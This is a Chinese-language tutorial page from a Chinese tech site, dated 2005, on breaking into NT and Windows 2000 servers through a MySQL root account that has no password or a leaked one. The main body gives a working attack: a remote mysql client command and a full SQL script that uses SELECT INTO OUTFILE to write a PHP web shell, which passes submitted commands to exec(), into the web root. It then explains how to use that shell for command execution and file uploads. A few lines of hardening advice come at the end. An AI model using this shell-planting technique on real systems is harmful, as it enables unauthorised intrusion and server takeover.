文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络编程MYSQL通过mysql入侵NT和win2000
精品推荐
特别推荐
·MySQL数据库简介
·安全的配置和应用MySQL数据库
·修改MySQL的默认密码
·初学MYSQL应知道:Mysql参数优化
·数据库安全应用 使用MySQL的23个注意事项
·入门:MYSQL基础
·轻松描述Windows上安装多个Mysql的步骤
·安装与卸载MySQL数据库系统服务的常见问题
·Mysql 安全注意事项
·初学MySql5 所应了解的知识和常见问题
·MySQL数据库学习手册之安装MySQL
·无法远程登入MySQL数据库的三种解决办法
·讲解Ubuntu下MySQL数据库安装后初步设置
·MySQL数据库管理员迅速回答常见问题汇总
·详细介绍优化mysql性能的十个参数
·MySQL中执行SQL语句时的两个注意点
·帮助你如何迅速优化你MySQL数据库性能
·PHP+MYSQL建设网站程序需要注意两点
·资深专家手把手教你安装MYSQL数据库
·实战经验:PHP+MySQL数据库论坛简易通
热点TOP10
·精细讲解最简便的备份MySQL数据库的方法
·MySQL ODBC进行MySQL和SQL Server转换
·MySQL中MyISAM引擎与InnoDB引擎性能简单测试
·技巧之Mysql 导出数据表结构
·Mysql数据库关于InnoDb的使用详解
·MySQL中执行SQL语句时的两个注意点
·修改MySQL的默认密码
·数据库关于InnoDb的使用详解
·MySQL的启动方法(windows 平台)
·修改MYSQL数据库,数据表,字段的编码(解决JSP乱码)
·安全的配置和应用MySQL数据库
·MySQL数据库字符集的出错故障
·让Windows在IIS支持PHP和MySQL
·快速掌握 MySQL数据库中触发器的应用
·数据从MySQL迁移到 Oracle的注意事项
·MySQL管理工具SQLyog最新6.1下载
·mysql导入数据库文件最大限制的修改方法
·SQL Server 2008 几项新特性概述
·MySQL安装的故障诊断与排除(Windows环境)
·快速掌握 SQL Server 的任务调度

通过mysql入侵NT和win2000

日期:2005年8月20日 作者:清风网络学院 查看:[大字体 中字体 小字体]


许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:\mysql\bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\"> </p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。

[1] [2] 下一页 




上一篇:全面解决Generic host process for win32 services遇到问题需要关闭

下一篇:如何实现局域网打印机共享

通过mysql入侵NT和win2000 相关文章:
·一次入侵过程的公开分析
·黑客技术之知道对方IP入侵别人的电脑
·惊恐:知道对方IP就能入侵别人的电脑
·IPC$入侵的高级手段与方法
·快速利用135端口入侵个人电脑
·内网数据库服务器入侵实战
·Windows XP下PHP+MySQL环境搭建
·黑客入侵前的信息收集
·攻防实战 入侵邻居MM家的无线路由器
·Telnet高级入侵攻略及原理
通过mysql入侵NT和win2000 相关软件:
·SQL/MYSQL/数据库教程专栏
·邪灵入侵(Evil Invasion)
·思科安全入侵检测系统专家指南
·Mysql数据库视频教程教程对你有帮助了,你就做种
·MySQL-to-Access V1.3
·领土战争:入侵纽约(TerraWars:New York Invasion)
·牧场入侵(Barnyard Invasion)
·猴脑入侵(Monkey Brains)
·立方体入侵(Cubes Invasion)
·怪鸡飞碟入侵(Moorhuhn Invasion)

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.net
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved. 鄂ICP备05000083号Powered by:viphot